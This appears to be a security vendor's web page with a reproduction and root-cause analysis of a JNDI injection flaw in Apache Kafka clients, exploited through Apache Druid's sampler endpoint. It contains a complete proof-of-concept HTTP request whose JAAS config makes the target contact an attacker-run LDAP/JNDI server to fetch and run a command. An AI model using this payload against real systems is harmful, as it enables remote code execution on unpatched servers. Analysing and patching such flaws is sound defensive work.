国家级|美创、徐医附院共建项目入选工信部《2024年网络安全技术应用典型案例拟支持项目名单》
2024-12-20
全球数据跨境流动合作倡议
2024-11-22
世界互联网大会|美创数据库保险箱(DBSafe)发布!
2024-11-21
世界互联网大会|美创数据认知与分类分级系统(AICogniSort)重磅发布!
2024-11-21
美创案例|盐城公积金管理中心数据安全创新实践
2024-11-15
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API安全 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务
2.4.0<=Apache kafka<=3.2.2
其他影响:
0.19.0 <= Apache Druid <= 25.0.0
本次漏洞环境使用了durid,因为durid使用kafka-clients来连接Kafka作为其数据源之一。
目标靶机:
Jndi主机:
通过JNDIExploit-master开启一个恶意jndi服务器。
Poc:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.32.129:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1449
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
攻击效果:
docker exec -i -t [容器id] /bin/bash
/tmp/success 存在证明漏洞利用成功
bin\windows\zookeeper-server-start.bat config\zookeeper.properties bin\windows\kafka-server-start.bat config\server.properties
定位分析该接口具体的代码
@Path("/druid/indexer/v1/sampler") public class SamplerResource { @POST @Consumes({"application/json"}) @Produces({"application/json"}) @ResourceFilters({StateResourceFilter.class}) public SamplerResponse post(SamplerSpec sampler) { return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43 } }
定位代码发现KafkaSamplerSpec接口的sample方法具体实现在父类
sample具体的实现是在SeekableStreamSamplerSpec类中。在KafkaProducer的构造函数中,会基于properties初始化ProducerConfig的实例config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中创建ChannelBuilder:
然后当security.protocol为SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism时基于config信息⽣成 JaasContext的实例,然后⽣成 SaslChannelBuilder实例:
在new JaasConfig(globalContextName, dynamicJaasConfig.value())中会把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的实例。然后调⽤channelBuilder.configure(configs)⽅法, 后⾯进入LoginManager.acquireLoginManager。
然后进入JndiLoginModule的login⽅法:userProvider以及groupProvider都不为null, 并且设置了 useFirstPass=true或tryFirstPass=true时都会进入attemptAuthentication⽅法,在这⾥会调⽤ InitialContext实例的lookup(userProvider)⽅法,从⽽导致JNDI注入。
综上, 只要攻击者可以控制kafka-clients连接时的属性, 将属性的配置项security.protocol设置为SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值设置为 com.sun.security.auth.module.JndiLoginModule, 并且配置项中的userProvider以及groupProvider都不为null, 同 时设置了useFirstPass=true或tryFirstPass=true时, kafka client就会发起JNDI连接, 从⽽导致JNDI注入漏洞。
流程图如下: